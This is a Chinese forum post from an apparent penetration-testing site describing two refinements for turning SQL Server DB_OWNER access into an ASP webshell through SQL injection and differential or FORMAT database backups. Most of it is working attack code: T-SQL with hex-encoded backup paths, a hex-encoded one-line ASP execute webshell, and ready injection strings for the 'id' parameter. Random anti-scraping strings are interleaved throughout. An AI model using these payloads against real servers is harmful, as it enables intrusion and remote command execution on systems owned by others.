中国网络渗透测试联盟
标题:
DB_OWNER权限得到webshell的改进办法
[打印本页]
作者:
admin
时间:
2012-11-9 21:31
标题:
DB_OWNER权限得到webshell的改进办法
DB_OWNER权限得到webshell的两点改进:
$ Q$ [1 v, N5 \' E) Z( Z0 M
9 c+ M: f7 t% ?9 P! x; _
减少备份文件大小，得到可执行的webshell成功率提高不少
) E, x5 e* g/ M2 c0 h6 H+ L+ k
一利用差异备份
9 Q9 V3 D0 o8 m2 ^$ i
加一个参数WITH DIFFERENTIAL
5 ^) G% @6 r* m
% T7 q& z) M' q7 \4 @
1
F4 \ a, j. z
2
5 D' S. e0 `& f( V, X
3
* e/ O0 F. l" F# L$ j3 A
4
/ m! B/ g7 ~% Z P
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: ?7 E- }6 u s' W
create table [dbo].[xiaolu] ([cmd] [image]);
% X5 b4 w! D. x G" V8 m9 m
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 f8 }5 s; c! u1 ]
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
2 {$ @6 N' v7 S1 c, L: i* ^9 o
+ v$ s- s6 Z- V6 R0 F
二利用完全FORMAT
% m$ |% z( Y$ r( |$ t2 V
加一个参数WITH FROMAT
" B- c* B' K* V) i3 |( G6 H
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
: t2 w; c s# o3 |4 z9 I
' Z$ n: O6 G& J. a# A
1
. X' h0 C0 m' ~0 @! c* u" M
2
/ s2 j6 h. _5 `4 s& k, _$ Q p5 ]
3
6 T$ g" ~" K& Q n9 {7 C0 h
4
! C/ J6 b6 {# A! i6 z1 h: m( L' q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
* b: [/ } J4 B* J
create table [dbo].[xiaolu] ([cmd] [image]);
- o+ m/ S5 R. q* b' d8 A3 Q0 e
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2 Y2 @- j. N; M& }
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
3 `# D! F! J& R: i# P$ v4 u) b0 A
2 z6 z# ~( y- {1 M H; p5 a
总的来说就是那么简单几句,下面以备份数据库model为例子
: H* ~2 g8 o1 p9 X7 \/ m( I9 M
1
5 ^* O9 `# p* ^; X; P2 V- J. o
, S1 B; @0 b1 Z% T
1
9 Z2 F- n% W- H: C# w* j7 m
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
" {$ A ~9 F5 s& x! T
1 |2 r7 l& h3 a6 E6 ~. W. E
2
) J+ x) h9 ^0 W
& G' G9 O% g4 y8 t( I8 d
1
# Z8 W* g& z% J+ z. b |* `
id=1;backup database model to disk='你的路径‘ with differential,format;--
! t, j( b: i, p& j2 w$ s( _
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2